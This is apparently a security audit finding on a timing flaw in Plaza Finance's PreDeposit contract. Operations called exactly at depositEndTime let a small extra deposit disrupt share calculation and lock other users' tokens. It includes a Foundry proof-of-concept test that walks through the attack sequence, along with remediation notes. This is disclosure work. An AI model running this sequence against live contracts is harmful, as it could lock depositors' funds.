Claim function could be broken by timing attack
Description
In PreDeposit, the checks for depositEndTime
are not correct. At the depositEndTime
, a user could call createPool
, deposit
, withdraw
, and claim
at same time.
Calling deposit
after createPool
will increase reserveAmount
in the claim
function. The numerator, representing the total supply of tokens determined during createPool
, remains unchanged. However, if the denominator reserveAmount
increases, the subsequent share calculation will fail.
function _deposit(uint256 amount, address onBehalfOf) private {
if (block.timestamp > depositEndTime) revert DepositEnded();
// ...
}
function createPool() external nonReentrant whenNotPaused {
if (block.timestamp < depositEndTime) revert DepositNotEnded();
// ...
}
function claim() external nonReentrant whenNotPaused {
if (block.timestamp < depositEndTime) revert DepositNotEnded();
// ...
}
Impact
Even with a very small deposit, the share-calculation formula for the entire predeposit can be disrupted, potentially locking the user's tokens.
The following proof-of-concept script demonstrates that timing attacks can be used to disrupt the share calculation:
function testAuditPreDepositTimingAttack() public {
// Setup initial deposit
vm.startPrank(user1);
reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
preDeposit.deposit(DEPOSIT_AMOUNT);
vm.stopPrank();
vm.startPrank(user2);
reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
preDeposit.deposit(DEPOSIT_AMOUNT);
vm.stopPrank();
// Create pool
vm.startPrank(governance);
preDeposit.setBondAndLeverageAmount(BOND_AMOUNT, LEVERAGE_AMOUNT);
poolFactory.grantRole(poolFactory.GOV_ROLE(), address(preDeposit));
vm.warp(block.timestamp + 7 days); // depositEndTime
// Start timing attack
vm.startPrank(user1);
// user1 trigger createPool, it's allowed because it's not onlyOwner
preDeposit.createPool();
// user1 trigger claim
preDeposit.claim();
reserveToken.approve(address(preDeposit), 10);
preDeposit.deposit(10);
preDeposit.claim();
vm.stopPrank();
// End timing attack
// user2 trigger claim
vm.startPrank(user2);
// reverted by ERC20InsufficientBalance
vm.expectRevert();
preDeposit.claim();
vm.stopPrank();
}
Recommendations
Use strict conditions to check the depositEndTime
in the deposit
, withdraw
, createPool
, and claim
functions.
Remediation
This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit e6caae6d↗.